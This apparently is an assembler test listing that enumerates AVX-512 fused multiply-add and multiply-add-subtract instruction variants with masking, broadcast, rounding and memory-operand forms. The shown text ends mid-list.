vfmadd213pd xmm2, xmm7, xmm0
vfmadd213pd xmm2, xmm7, [rbx]
vfmadd213pd xmm2, xmm7, [rbx]{1to2}
vfmadd213pd xmm2, xmm7, [rbx+r11*8+256]
vfmadd213pd xmm2, xmm7, [rbx+r11*8-256]
vfmadd213pd xmm2{k5}, xmm7, xmm0
vfmadd213pd xmm2{k5}, xmm7, [rbx]
vfmadd213pd xmm2{k5}, xmm7, [rbx]{1to2}
vfmadd213pd xmm2{k5}, xmm7, [rbx+r11*8+256]
vfmadd213pd xmm2{k5}, xmm7, [rbx+r11*8-256]
vfmadd213pd xmm2{k5}{z}, xmm7, xmm0
vfmadd213pd xmm2{k5}{z}, xmm7, [rbx]
vfmadd213pd xmm2{k5}{z}, xmm7, [rbx]{1to2}
vfmadd213pd xmm2{k5}{z}, xmm7, [rbx+r11*8+256]
vfmadd213pd xmm2{k5}{z}, xmm7, [rbx+r11*8-256]
vfmadd213pd ymm16, ymm13, ymm15
vfmadd213pd ymm16, ymm13, [rbx]
vfmadd213pd ymm16, ymm13, [rbx]{1to4}
vfmadd213pd ymm16, ymm13, [rbx+r11*8+256]
vfmadd213pd ymm16, ymm13, [rbx+r11*8-256]
vfmadd213pd ymm16{k5}, ymm13, ymm15
vfmadd213pd ymm16{k5}, ymm13, [rbx]
vfmadd213pd ymm16{k5}, ymm13, [rbx]{1to4}
vfmadd213pd ymm16{k5}, ymm13, [rbx+r11*8+256]
vfmadd213pd ymm16{k5}, ymm13, [rbx+r11*8-256]
vfmadd213pd ymm16{k5}{z}, ymm13, ymm15
vfmadd213pd ymm16{k5}{z}, ymm13, [rbx]
vfmadd213pd ymm16{k5}{z}, ymm13, [rbx]{1to4}
vfmadd213pd ymm16{k5}{z}, ymm13, [rbx+r11*8+256]
vfmadd213pd ymm16{k5}{z}, ymm13, [rbx+r11*8-256]
vfmadd213pd zmm24, zmm24, zmm31
vfmadd213pd zmm24, zmm24, zmm31, {rd-sae}
vfmadd213pd zmm24, zmm24, [rbx]
vfmadd213pd zmm24, zmm24, [rbx]{1to8}
vfmadd213pd zmm24, zmm24, [rbx+r11*8+256]
vfmadd213pd zmm24, zmm24, [rbx+r11*8-256]
vfmadd213pd zmm24{k5}, zmm24, zmm31
vfmadd213pd zmm24{k5}, zmm24, zmm31, {rd-sae}
vfmadd213pd zmm24{k5}, zmm24, [rbx]
vfmadd213pd zmm24{k5}, zmm24, [rbx]{1to8}
vfmadd213pd zmm24{k5}, zmm24, [rbx+r11*8+256]
vfmadd213pd zmm24{k5}, zmm24, [rbx+r11*8-256]
vfmadd213pd zmm24{k5}{z}, zmm24, zmm31
vfmadd213pd zmm24{k5}{z}, zmm24, zmm31, {rd-sae}
vfmadd213pd zmm24{k5}{z}, zmm24, [rbx]
vfmadd213pd zmm24{k5}{z}, zmm24, [rbx]{1to8}
vfmadd213pd zmm24{k5}{z}, zmm24, [rbx+r11*8+256]
vfmadd213pd zmm24{k5}{z}, zmm24, [rbx+r11*8-256]
vfmadd213ps xmm2, xmm7, xmm0
vfmadd213ps xmm2, xmm7, [rbx]
vfmadd213ps xmm2, xmm7, [rbx]{1to4}
vfmadd213ps xmm2, xmm7, [rbx+r11*8+256]
vfmadd213ps xmm2, xmm7, [rbx+r11*8-256]
vfmadd213ps xmm2{k5}, xmm7, xmm0
vfmadd213ps xmm2{k5}, xmm7, [rbx]
vfmadd213ps xmm2{k5}, xmm7, [rbx]{1to4}
vfmadd213ps xmm2{k5}, xmm7, [rbx+r11*8+256]
vfmadd213ps xmm2{k5}, xmm7, [rbx+r11*8-256]
vfmadd213ps xmm2{k5}{z}, xmm7, xmm0
vfmadd213ps xmm2{k5}{z}, xmm7, [rbx]
vfmadd213ps xmm2{k5}{z}, xmm7, [rbx]{1to4}
vfmadd213ps xmm2{k5}{z}, xmm7, [rbx+r11*8+256]
vfmadd213ps xmm2{k5}{z}, xmm7, [rbx+r11*8-256]
vfmadd213ps ymm16, ymm13, ymm15
vfmadd213ps ymm16, ymm13, [rbx]
vfmadd213ps ymm16, ymm13, [rbx]{1to8}
vfmadd213ps ymm16, ymm13, [rbx+r11*8+256]
vfmadd213ps ymm16, ymm13, [rbx+r11*8-256]
vfmadd213ps ymm16{k5}, ymm13, ymm15
vfmadd213ps ymm16{k5}, ymm13, [rbx]
vfmadd213ps ymm16{k5}, ymm13, [rbx]{1to8}
vfmadd213ps ymm16{k5}, ymm13, [rbx+r11*8+256]
vfmadd213ps ymm16{k5}, ymm13, [rbx+r11*8-256]
vfmadd213ps ymm16{k5}{z}, ymm13, ymm15
vfmadd213ps ymm16{k5}{z}, ymm13, [rbx]
vfmadd213ps ymm16{k5}{z}, ymm13, [rbx]{1to8}
vfmadd213ps ymm16{k5}{z}, ymm13, [rbx+r11*8+256]
vfmadd213ps ymm16{k5}{z}, ymm13, [rbx+r11*8-256]
vfmadd213ps zmm24, zmm24, zmm31
vfmadd213ps zmm24, zmm24, zmm31, {rd-sae}
vfmadd213ps zmm24, zmm24, [rbx]
vfmadd213ps zmm24, zmm24, [rbx]{1to16}
vfmadd213ps zmm24, zmm24, [rbx+r11*8+256]
vfmadd213ps zmm24, zmm24, [rbx+r11*8-256]
vfmadd213ps zmm24{k5}, zmm24, zmm31
vfmadd213ps zmm24{k5}, zmm24, zmm31, {rd-sae}
vfmadd213ps zmm24{k5}, zmm24, [rbx]
vfmadd213ps zmm24{k5}, zmm24, [rbx]{1to16}
vfmadd213ps zmm24{k5}, zmm24, [rbx+r11*8+256]
vfmadd213ps zmm24{k5}, zmm24, [rbx+r11*8-256]
vfmadd213ps zmm24{k5}{z}, zmm24, zmm31
vfmadd213ps zmm24{k5}{z}, zmm24, zmm31, {rd-sae}
vfmadd213ps zmm24{k5}{z}, zmm24, [rbx]
vfmadd213ps zmm24{k5}{z}, zmm24, [rbx]{1to16}
vfmadd213ps zmm24{k5}{z}, zmm24, [rbx+r11*8+256]
vfmadd213ps zmm24{k5}{z}, zmm24, [rbx+r11*8-256]
vfmadd213sd xmm2, xmm7, xmm0
vfmadd213sd xmm2, xmm7, xmm0, {rd-sae}
vfmadd213sd xmm2, xmm7, [rbx]
vfmadd213sd xmm2, xmm7, [rbx+r11*8+256]
vfmadd213sd xmm2, xmm7, [rbx+r11*8-256]
vfmadd213sd xmm2{k5}, xmm7, xmm0
vfmadd213sd xmm2{k5}, xmm7, xmm0, {rd-sae}
vfmadd213sd xmm2{k5}, xmm7, [rbx]
vfmadd213sd xmm2{k5}, xmm7, [rbx+r11*8+256]
vfmadd213sd xmm2{k5}, xmm7, [rbx+r11*8-256]
vfmadd213sd xmm2{k5}{z}, xmm7, xmm0
vfmadd213sd xmm2{k5}{z}, xmm7, xmm0, {rd-sae}
vfmadd213sd xmm2{k5}{z}, xmm7, [rbx]
vfmadd213sd xmm2{k5}{z}, xmm7, [rbx+r11*8+256]
vfmadd213sd xmm2{k5}{z}, xmm7, [rbx+r11*8-256]
vfmadd213ss xmm2, xmm7, xmm0
vfmadd213ss xmm2, xmm7, xmm0, {rd-sae}
vfmadd213ss xmm2, xmm7, [rbx]
vfmadd213ss xmm2, xmm7, [rbx+r11*8+256]
vfmadd213ss xmm2, xmm7, [rbx+r11*8-256]
vfmadd213ss xmm2{k5}, xmm7, xmm0
vfmadd213ss xmm2{k5}, xmm7, xmm0, {rd-sae}
vfmadd213ss xmm2{k5}, xmm7, [rbx]
vfmadd213ss xmm2{k5}, xmm7, [rbx+r11*8+256]
vfmadd213ss xmm2{k5}, xmm7, [rbx+r11*8-256]
vfmadd213ss xmm2{k5}{z}, xmm7, xmm0
vfmadd213ss xmm2{k5}{z}, xmm7, xmm0, {rd-sae}
vfmadd213ss xmm2{k5}{z}, xmm7, [rbx]
vfmadd213ss xmm2{k5}{z}, xmm7, [rbx+r11*8+256]
vfmadd213ss xmm2{k5}{z}, xmm7, [rbx+r11*8-256]
vfmadd231pd xmm2, xmm7, xmm0
vfmadd231pd xmm2, xmm7, [rbx]
vfmadd231pd xmm2, xmm7, [rbx]{1to2}
vfmadd231pd xmm2, xmm7, [rbx+r11*8+256]
vfmadd231pd xmm2, xmm7, [rbx+r11*8-256]
vfmadd231pd xmm2{k5}, xmm7, xmm0
vfmadd231pd xmm2{k5}, xmm7, [rbx]
vfmadd231pd xmm2{k5}, xmm7, [rbx]{1to2}
vfmadd231pd xmm2{k5}, xmm7, [rbx+r11*8+256]
vfmadd231pd xmm2{k5}, xmm7, [rbx+r11*8-256]
vfmadd231pd xmm2{k5}{z}, xmm7, xmm0
vfmadd231pd xmm2{k5}{z}, xmm7, [rbx]
vfmadd231pd xmm2{k5}{z}, xmm7, [rbx]{1to2}
vfmadd231pd xmm2{k5}{z}, xmm7, [rbx+r11*8+256]
vfmadd231pd xmm2{k5}{z}, xmm7, [rbx+r11*8-256]
vfmadd231pd ymm16, ymm13, ymm15
vfmadd231pd ymm16, ymm13, [rbx]
vfmadd231pd ymm16, ymm13, [rbx]{1to4}
vfmadd231pd ymm16, ymm13, [rbx+r11*8+256]
vfmadd231pd ymm16, ymm13, [rbx+r11*8-256]
vfmadd231pd ymm16{k5}, ymm13, ymm15
vfmadd231pd ymm16{k5}, ymm13, [rbx]
vfmadd231pd ymm16{k5}, ymm13, [rbx]{1to4}
vfmadd231pd ymm16{k5}, ymm13, [rbx+r11*8+256]
vfmadd231pd ymm16{k5}, ymm13, [rbx+r11*8-256]
vfmadd231pd ymm16{k5}{z}, ymm13, ymm15
vfmadd231pd ymm16{k5}{z}, ymm13, [rbx]
vfmadd231pd ymm16{k5}{z}, ymm13, [rbx]{1to4}
vfmadd231pd ymm16{k5}{z}, ymm13, [rbx+r11*8+256]
vfmadd231pd ymm16{k5}{z}, ymm13, [rbx+r11*8-256]
vfmadd231pd zmm24, zmm24, zmm31
vfmadd231pd zmm24, zmm24, zmm31, {rd-sae}
vfmadd231pd zmm24, zmm24, [rbx]
vfmadd231pd zmm24, zmm24, [rbx]{1to8}
vfmadd231pd zmm24, zmm24, [rbx+r11*8+256]
vfmadd231pd zmm24, zmm24, [rbx+r11*8-256]
vfmadd231pd zmm24{k5}, zmm24, zmm31
vfmadd231pd zmm24{k5}, zmm24, zmm31, {rd-sae}
vfmadd231pd zmm24{k5}, zmm24, [rbx]
vfmadd231pd zmm24{k5}, zmm24, [rbx]{1to8}
vfmadd231pd zmm24{k5}, zmm24, [rbx+r11*8+256]
vfmadd231pd zmm24{k5}, zmm24, [rbx+r11*8-256]
vfmadd231pd zmm24{k5}{z}, zmm24, zmm31
vfmadd231pd zmm24{k5}{z}, zmm24, zmm31, {rd-sae}
vfmadd231pd zmm24{k5}{z}, zmm24, [rbx]
vfmadd231pd zmm24{k5}{z}, zmm24, [rbx]{1to8}
vfmadd231pd zmm24{k5}{z}, zmm24, [rbx+r11*8+256]
vfmadd231pd zmm24{k5}{z}, zmm24, [rbx+r11*8-256]
vfmadd231ps xmm2, xmm7, xmm0
vfmadd231ps xmm2, xmm7, [rbx]
vfmadd231ps xmm2, xmm7, [rbx]{1to4}
vfmadd231ps xmm2, xmm7, [rbx+r11*8+256]
vfmadd231ps xmm2, xmm7, [rbx+r11*8-256]
vfmadd231ps xmm2{k5}, xmm7, xmm0
vfmadd231ps xmm2{k5}, xmm7, [rbx]
vfmadd231ps xmm2{k5}, xmm7, [rbx]{1to4}
vfmadd231ps xmm2{k5}, xmm7, [rbx+r11*8+256]
vfmadd231ps xmm2{k5}, xmm7, [rbx+r11*8-256]
vfmadd231ps xmm2{k5}{z}, xmm7, xmm0
vfmadd231ps xmm2{k5}{z}, xmm7, [rbx]
vfmadd231ps xmm2{k5}{z}, xmm7, [rbx]{1to4}
vfmadd231ps xmm2{k5}{z}, xmm7, [rbx+r11*8+256]
vfmadd231ps xmm2{k5}{z}, xmm7, [rbx+r11*8-256]
vfmadd231ps ymm16, ymm13, ymm15
vfmadd231ps ymm16, ymm13, [rbx]
vfmadd231ps ymm16, ymm13, [rbx]{1to8}
vfmadd231ps ymm16, ymm13, [rbx+r11*8+256]
vfmadd231ps ymm16, ymm13, [rbx+r11*8-256]
vfmadd231ps ymm16{k5}, ymm13, ymm15
vfmadd231ps ymm16{k5}, ymm13, [rbx]
vfmadd231ps ymm16{k5}, ymm13, [rbx]{1to8}
vfmadd231ps ymm16{k5}, ymm13, [rbx+r11*8+256]
vfmadd231ps ymm16{k5}, ymm13, [rbx+r11*8-256]
vfmadd231ps ymm16{k5}{z}, ymm13, ymm15
vfmadd231ps ymm16{k5}{z}, ymm13, [rbx]
vfmadd231ps ymm16{k5}{z}, ymm13, [rbx]{1to8}
vfmadd231ps ymm16{k5}{z}, ymm13, [rbx+r11*8+256]
vfmadd231ps ymm16{k5}{z}, ymm13, [rbx+r11*8-256]
vfmadd231ps zmm24, zmm24, zmm31
vfmadd231ps zmm24, zmm24, zmm31, {rd-sae}
vfmadd231ps zmm24, zmm24, [rbx]
vfmadd231ps zmm24, zmm24, [rbx]{1to16}
vfmadd231ps zmm24, zmm24, [rbx+r11*8+256]
vfmadd231ps zmm24, zmm24, [rbx+r11*8-256]
vfmadd231ps zmm24{k5}, zmm24, zmm31
vfmadd231ps zmm24{k5}, zmm24, zmm31, {rd-sae}
vfmadd231ps zmm24{k5}, zmm24, [rbx]
vfmadd231ps zmm24{k5}, zmm24, [rbx]{1to16}
vfmadd231ps zmm24{k5}, zmm24, [rbx+r11*8+256]
vfmadd231ps zmm24{k5}, zmm24, [rbx+r11*8-256]
vfmadd231ps zmm24{k5}{z}, zmm24, zmm31
vfmadd231ps zmm24{k5}{z}, zmm24, zmm31, {rd-sae}
vfmadd231ps zmm24{k5}{z}, zmm24, [rbx]
vfmadd231ps zmm24{k5}{z}, zmm24, [rbx]{1to16}
vfmadd231ps zmm24{k5}{z}, zmm24, [rbx+r11*8+256]
vfmadd231ps zmm24{k5}{z}, zmm24, [rbx+r11*8-256]
vfmadd231sd xmm2, xmm7, xmm0
vfmadd231sd xmm2, xmm7, xmm0, {rd-sae}
vfmadd231sd xmm2, xmm7, [rbx]
vfmadd231sd xmm2, xmm7, [rbx+r11*8+256]
vfmadd231sd xmm2, xmm7, [rbx+r11*8-256]
vfmadd231sd xmm2{k5}, xmm7, xmm0
vfmadd231sd xmm2{k5}, xmm7, xmm0, {rd-sae}
vfmadd231sd xmm2{k5}, xmm7, [rbx]
vfmadd231sd xmm2{k5}, xmm7, [rbx+r11*8+256]
vfmadd231sd xmm2{k5}, xmm7, [rbx+r11*8-256]
vfmadd231sd xmm2{k5}{z}, xmm7, xmm0
vfmadd231sd xmm2{k5}{z}, xmm7, xmm0, {rd-sae}
vfmadd231sd xmm2{k5}{z}, xmm7, [rbx]
vfmadd231sd xmm2{k5}{z}, xmm7, [rbx+r11*8+256]
vfmadd231sd xmm2{k5}{z}, xmm7, [rbx+r11*8-256]
vfmadd231ss xmm2, xmm7, xmm0
vfmadd231ss xmm2, xmm7, xmm0, {rd-sae}
vfmadd231ss xmm2, xmm7, [rbx]
vfmadd231ss xmm2, xmm7, [rbx+r11*8+256]
vfmadd231ss xmm2, xmm7, [rbx+r11*8-256]
vfmadd231ss xmm2{k5}, xmm7, xmm0
vfmadd231ss xmm2{k5}, xmm7, xmm0, {rd-sae}
vfmadd231ss xmm2{k5}, xmm7, [rbx]
vfmadd231ss xmm2{k5}, xmm7, [rbx+r11*8+256]
vfmadd231ss xmm2{k5}, xmm7, [rbx+r11*8-256]
vfmadd231ss xmm2{k5}{z}, xmm7, xmm0
vfmadd231ss xmm2{k5}{z}, xmm7, xmm0, {rd-sae}
vfmadd231ss xmm2{k5}{z}, xmm7, [rbx]
vfmadd231ss xmm2{k5}{z}, xmm7, [rbx+r11*8+256]
vfmadd231ss xmm2{k5}{z}, xmm7, [rbx+r11*8-256]
vfmaddsub132pd xmm2, xmm7, xmm0
vfmaddsub132pd xmm2, xmm7, [rbx]
vfmaddsub132pd xmm2, xmm7, [rbx]{1to2}
vfmaddsub132pd xmm2, xmm7, [rbx+r11*8+256]
vfmaddsub132pd xmm2, xmm7, [rbx+r11*8-256]
vfmaddsub132pd xmm2{k5}, xmm7, xmm0
vfmaddsub132pd xmm2{k5}, xmm7, [rbx]
vfmaddsub132pd xmm2{k5}, xmm7, [rbx]{1to2}
vfmaddsub132pd xmm2{k5}, xmm7, [rbx+r11*8+256]
vfmaddsub132pd xmm2{k5}, xmm7, [rbx+r11*8-256]
vfmaddsub132pd xmm2{k5}{z}, xmm7, xmm0
vfmaddsub132pd xmm2{k5}{z}, xmm7, [rbx]
vfmaddsub132pd xmm2{k5}{z}, xmm7, [rbx]{1to2}
vfmaddsub132pd xmm2{k5}{z}, xmm7, [rbx+r11*8+256]
vfmaddsub132pd xmm2{k5}{z}, xmm7, [rbx+r11*8-256]
vfmaddsub132pd ymm16, ymm13, ymm15
vfmaddsub132pd ymm16, ymm13, [rbx]
vfmaddsub132pd ymm16, ymm13, [rbx]{1to4}
vfmaddsub132pd ymm16, ymm13, [rbx+r11*8+256]
vfmaddsub132pd ymm16, ymm13, [rbx+r11*8-256]
vfmaddsub132pd ymm16{k5}, ymm13, ymm15
vfmaddsub132pd ymm16{k5}, ymm13, [rbx]
vfmaddsub132pd ymm16{k5}, ymm13, [rbx]{1to4}
vfmaddsub132pd ymm16{k5}, ymm13, [rbx+r11*8+256]
vfmaddsub132pd ymm16{k5}, ymm13, [rbx+r11*8-256]
vfmaddsub132pd ymm16{k5}{z}, ymm13, ymm15
vfmaddsub132pd ymm16{k5}{z}, ymm13, [rbx]
vfmaddsub132pd ymm16{k5}{z}, ymm13, [rbx]{1to4}
vfmaddsub132pd ymm16{k5}{z}, ymm13, [rbx+r11*8+256]
vfmaddsub132pd ymm16{k5}{z}, ymm13, [rbx+r11*8-256]
vfmaddsub132pd zmm24, zmm24, zmm31
vfmaddsub132pd zmm24, zmm24, zmm31, {rd-sae}
vfmaddsub132pd zmm24, zmm24, [rbx]
vfmaddsub132pd zmm24, zmm24, [rbx]{1to8}
vfmaddsub132pd zmm24, zmm24, [rbx+r11*8+256]
vfmaddsub132pd zmm24, zmm24, [rbx+r11*8-256]
vfmaddsub132pd zmm24{k5}, zmm24, zmm31
vfmaddsub132pd zmm24{k5}, zmm24, zmm31, {rd-sae}
vfmaddsub132pd zmm24{k5}, zmm24, [rbx]
vfmaddsub132pd zmm24{k5}, zmm24, [rbx]{1to8}
vfmaddsub132pd zmm24{k5}, zmm24, [rbx+r11*8+256]
vfmaddsub132pd zmm24{k5}, zmm24, [rbx+r11*8-256]
vfmaddsub132pd zmm24{k5}{z}, zmm24, zmm31
vfmaddsub132pd zmm24{k5}{z}, zmm24, zmm31, {rd-sae}
vfmaddsub132pd zmm24{k5}{z}, zmm24, [rbx]
vfmaddsub132pd zmm24{k5}{z}, zmm24, [rbx]{1to8}
vfmaddsub132pd zmm24{k5}{z}, zmm24, [rbx+r11*8+256]
vfmaddsub132pd zmm24{k5}{z}, zmm24, [rbx+r11*8-256]
vfmaddsub132ps xmm2, xmm7, xmm0
vfmaddsub132ps xmm2, xmm7, [rbx]
vfmaddsub132ps xmm2, xmm7, [rbx]{1to4}
vfmaddsub132ps xmm2, xmm7, [rbx+r11*8+256]
vfmaddsub132ps xmm2, xmm7, [rbx+r11*8-256]
vfmaddsub132ps xmm2{k5}, xmm7, xmm0
vfmaddsub132ps xmm2{k5}, xmm7, [rbx]
vfmaddsub132ps xmm2{k5}, xmm7, [rbx]{1to4}
vfmaddsub132ps xmm2{k5}, xmm7, [rbx+r11*8+256]
vfmaddsub132ps xmm2{k5}, xmm7, [rbx+r11*8-256]
vfmaddsub132ps xmm2{k5}{z}, xmm7, xmm0
vfmaddsub132ps xmm2{k5}{z}, xmm7, [rbx]
vfmaddsub132ps xmm2{k5}{z}, xmm7, [rbx]{1to4}
vfmaddsub132ps xmm2{k5}{z}, xmm7, [rbx+r11*8+256]
vfmaddsub132ps xmm2{k5}{z}, xmm7, [rbx+r11*8-256]
vfmaddsub132ps ymm16, ymm13, ymm15
vfmaddsub132ps ymm16, ymm13, [rbx]
vfmaddsub132ps ymm16, ymm13, [rbx]{1to8}
vfmaddsub132ps ymm16, ymm13, [rbx+r11*8+256]
vfmaddsub132ps ymm16, ymm13, [rbx+r11*8-256]
vfmaddsub132ps ymm16{k5}, ymm13, ymm15
vfmaddsub132ps ymm16{k5}, ymm13, [rbx]
vfmaddsub132ps ymm16{k5}, ymm13, [rbx]{1to8}
vfmaddsub132ps ymm16{k5}, ymm13, [rbx+r11*8+256]
vfmaddsub132ps ymm16{k5}, ymm13, [rbx+r11*8-256]
vfmaddsub132ps ymm16{k5}{z}, ymm13, ymm15
vfmaddsub132ps ymm16{k5}{z}, ymm13, [rbx]
vfmaddsub132ps ymm16{k5}{z}, ymm13, [rbx]{1to8}
vfmaddsub132ps ymm16{k5}{z}, ymm13, [rbx+r11*8+256]
vfmaddsub132ps ymm16{k5}{z}, ymm13, [rbx+r11*8-256]
vfmaddsub132ps zmm24, zmm24, zmm31
vfmaddsub132ps zmm24, zmm24, zmm31, {rd-sae}
vfmaddsub132ps zmm24, zmm24, [rbx]
vfmaddsub132ps zmm24, zmm24, [rbx]{1to16}
vfmaddsub132ps zmm24, zmm24, [rbx+r11*8+256]
vfmaddsub132ps zmm24, zmm24, [rbx+r11*8-256]
vfmaddsub132ps zmm24{k5}, zmm24, zmm31
vfmaddsub132ps zmm24{k5}, zmm24, zmm31, {rd-sae}
vfmaddsub132ps zmm24{k5}, zmm24, [rbx]
vfmaddsub132ps zmm24{k5}, zmm24, [rbx]{1to16}
vfmaddsub132ps zmm24{k5}, zmm24, [rbx+r11*8+256]
vfmaddsub132ps zmm24{k5}, zmm24, [rbx+r11*8-256]
vfmaddsub132ps zmm24{k5}{z}, zmm24, zmm31
vfmaddsub132ps zmm24{k5}{z}, zmm24, zmm31, {rd-sae}
vfmaddsub132ps zmm24{k5}{z}, zmm24, [rbx]
vfmaddsub132ps zmm24{k5}{z}, zmm24, [rbx]{1to16}
vfmaddsub132ps zmm24{k5}{z}, zmm24, [rbx+r11*8+256]
vfmaddsub132ps zmm24{k5}{z}, zmm24, [rbx+r11*8-256]
vfmaddsub213pd xmm2, xmm7, xmm0
vfmaddsub213pd xmm2, xmm7, [rbx]
vfmaddsub213pd xmm2, xmm7, [rbx]{1to2}
vfmaddsub213pd xmm2, xmm7, [rbx+r11*8+256]
vfmaddsub213pd xmm2, xmm7, [rbx+r11*8-256]
vfmaddsub213pd xmm2{k5}, xmm7, xmm0
vfmaddsub213pd xmm2{k5}, xmm7, [rbx]
vfmaddsub213pd xmm2{k5}, xmm7, [rbx]{1to2}
vfmaddsub213pd xmm2{k5}, xmm7, [rbx+r11*8+256]
vfmaddsub213pd xmm2{k5}, xmm7, [rbx+r11*8-256]
vfmaddsub213pd xmm2{k5}{z}, xmm7, xmm0
vfmaddsub213pd xmm2{k5}{z}, xmm7, [rbx]
vfmaddsub213pd xmm2{k5}{z}, xmm7, [rbx]{1to2}
vfmaddsub213pd xmm2{k5}{z}, xmm7, [rbx+r11*8+256]
vfmaddsub213pd xmm2{k5}{z}, xmm7, [rbx+r11*8-256]
vfmaddsub213pd ymm16, ymm13, ymm15
vfmaddsub213pd ymm16, ymm13, [rbx]
vfmaddsub213pd ymm16, ymm13, [rbx]{1to4}
vfmaddsub213pd ymm16, ymm13, [rbx+r11*8+256]
vfmaddsub213pd ymm16, ymm13, [rbx+r11*8-256]
vfmaddsub213pd ymm16{k5}, ymm13, ymm15
vfmaddsub213pd ymm16{k5}, ymm13, [rbx]
vfmaddsub213pd ymm16{k5}, ymm13, [rbx]{1to4}
vfmaddsub213pd ymm16{k5}, ymm13, [rbx+r11*8+256]
vfmaddsub213pd ymm16{k5}, ymm13, [rbx+r11*8-256]
vfmaddsub213pd ymm16{k5}{z}, ymm13, ymm15
vfmaddsub213pd ymm16{k5}{z}, ymm13, [rbx]
vfmaddsub213pd ymm16{k5}{z}, ymm13, [rbx]{1to4}
vfmaddsub213pd ymm16{k5}{z}, ymm13, [rbx+r11*8+256]
vfmaddsub213pd ymm16{k5}{z}, ymm13, [rbx+r11*8-256]
vfmaddsub213pd zmm24, zmm24, zmm31
vfmaddsub213pd zmm24, zmm24, zmm31, {rd-sae}
vfmaddsub213pd zmm24, zmm24, [rbx]
vfmaddsub213pd zmm24, zmm24, [rbx]{1to8}
vfmaddsub213pd zmm24, zmm24, [rbx+r11*8+256]
vfmaddsub213pd zmm24, zmm24, [rbx+r11*8-256]
vfmaddsub213pd zmm24{k5}, zmm24, zmm31
vfmaddsub213pd zmm24{k5}, zmm24, zmm31, {rd-sae}
vfmaddsub213pd zmm24{k5}, zmm24, [rbx]
vfmaddsub213pd zmm24{k5}, zmm24, [rbx]{1to8}
vfmaddsub213pd zmm24{k5}, zmm24, [rbx+r11*8+256]
vfmaddsub213pd zmm24{k5}, zmm24, [rbx+r11*8-256]
vfmaddsub213pd zmm24{k5}{z}, zmm24, zmm31
vfmaddsub213pd zmm24{k5}{z}, zmm24, zmm31, {rd-sae}
vfmaddsub213pd zmm24{k5}{z}, zmm24, [rbx]
vfmaddsub213pd zmm24{k5}{z}, zmm24, [rbx]{1to8}
vfmaddsub213pd zmm24{k5}{z}, zmm24, [rbx+r11*8+256]
vfmaddsub213pd zmm24{k5}{z}, zmm24, [rbx+r11*8-256]
vfmaddsub213ps xmm2, xmm7, xmm0
vfmaddsub213ps xmm2, xmm7, [rbx]
vfmaddsub213ps xmm2, xmm7, [rbx]{1to4}
vfmaddsub213ps xmm2, xmm7, [rbx+r11*8+256]
vfmaddsub213ps xmm2, xmm7, [rbx+r11*8-256]
vfmaddsub213ps xmm2{k5}, xmm7, xmm0
vfmaddsub213ps xmm2{k5}, xmm7, [rbx]
vfmaddsub213ps xmm2{k5}, xmm7, [rbx]{1to4}
vfmaddsub213ps xmm2{k5}, xmm7, [rbx+r11*8+256]
vfmaddsub213ps xmm2{k5}, xmm7, [rbx+r11*8-256]
vfmaddsub213ps xmm2{k5}{z}, xmm7, xmm0
vfmaddsub213ps xmm2{k5}{z}, xmm7, [rbx]
vfmaddsub213ps xmm2{k5}{z}, xmm7, [rbx]{1to4}
vfmaddsub213ps xmm2{k5}{z}, xmm7, [rbx+r11*8+256]
vfmaddsub213ps xmm2{k5}{z}, xmm7, [rbx+r11*8-256]
vfmaddsub213ps ymm16, ymm13, ymm15
vfmaddsub213ps ymm16, ymm13, [rbx]
vfmaddsub213ps ymm16, ymm13, [rbx]{1to8}
vfmaddsub213ps ymm16, ymm13, [rbx+r11*8+256]
vfmaddsub213ps ymm16, ymm13, [rbx+r11*8-256]
vfmaddsub213ps ymm16{k5}, ymm13, ymm15
vfmaddsub213ps ymm16{k5}, ymm13, [rbx]
vfmaddsub213ps ymm16{k5}, ymm13, [rbx]{1to8}
vfmaddsub213ps ymm16{k5}, ymm13, [rbx+r11*8+256]
vfmaddsub213ps ymm16{k5}, ymm13, [rbx+r11*8-256]
vfmaddsub213ps ymm16{k5}{z}, ymm13, ymm15
vfmaddsub213ps ymm16{k5}{z}, ymm13, [rbx]
vfmaddsub213ps ymm16{k5}{z}, ymm13, [rbx]{1to8}
vfmaddsub213ps ymm16{k5}{z}, ymm13, [rbx+r11*8+256]
vfmaddsub213ps ymm16{k5}{z}, ymm13, [rbx+r11*8-256]
vfmaddsub213ps zmm24, zmm24, zmm31
vfmaddsub213ps zmm24, zmm24, zmm31, {rd-sae}
vfmaddsub213ps zmm24, zmm24, [rbx]
vfmaddsub213ps zmm24, zmm24, [rbx]{1to16}
vfmaddsub213ps zmm24, zmm24, [rbx+r11*8+256]
vfmaddsub213ps zmm24, zmm24, [rbx+r11*8-256]
vfmaddsub213ps zmm24{k5}, zmm24, zmm31
vfmaddsub213ps zmm24{k5}, zmm24, zmm31, {rd-sae}
vfmaddsub213ps zmm24{k5}, zmm24, [rbx]
vfmaddsub213ps zmm24{k5}, zmm24, [rbx]{1to16}
vfmaddsub213ps zmm24{k5}, zmm24, [rbx+r11*8+256]
vfmaddsub213ps zmm24{k5}, zmm24, [rbx+r11*8-256]
vfmaddsub213ps zmm24{k5}{z}, zmm24, zmm31
vfmaddsub213ps zmm24{k5}{z}, zmm24, zmm31, {rd-sae}
vfmaddsub213ps zmm24{k5}{z}, zmm24, [rbx]
vfmaddsub213ps zmm24{k5}{z}, zmm24, [rbx]{1to16}
vfmaddsub213ps zmm24{k5}{z}, zmm24, [rbx+r11*8+256]
vfmaddsub213ps zmm24{k5}{z}, zmm24, [rbx+r11*8-256]
vfmaddsub231pd xmm2, xmm7, xmm0
vfmaddsub231pd xmm2, xmm7, [rbx]
vfmaddsub231pd xmm2, xmm7, [rbx]{1to2}
vfmaddsub231pd xmm2, xmm7, [rbx+r11*8+256]
vfmaddsub231pd xmm2, xmm7, [rbx+r11*8-256]
vfmaddsub231pd xmm2{k5}, xmm7, xmm0
vfmaddsub231pd xmm2{k5}, xmm7, [rbx]
vfmaddsub231pd xmm2{k5}, xmm7, [rbx]{1to2}
vfmaddsub231pd xmm2{k5}, xmm7, [rbx+r11*8+256]
vfmaddsub231pd xmm2{k5}, xmm7, [rbx+r11*8-256]
vfmaddsub231pd xmm2{k5}{z}, xmm7, xmm0
vfmaddsub231pd xmm2{k5}{z}, xmm7, [rbx]
vfmaddsub231pd xmm2{k5}{z}, xmm7, [rbx]{1to2}
vfmaddsub231pd xmm2{k5}{z}, xmm7, [rbx+r11*8+256]
vfmaddsub231pd xmm2{k5}{z}, xmm7, [rbx+r11*8-256]
vfmaddsub231pd ymm16, ymm13, ymm15
vfmaddsub231pd ymm16, ymm13, [rbx]
vfmaddsub231pd ymm16, ymm13, [rbx]{1to4}
vfmaddsub231pd ymm16, ymm13, [rbx+r11*8+256]
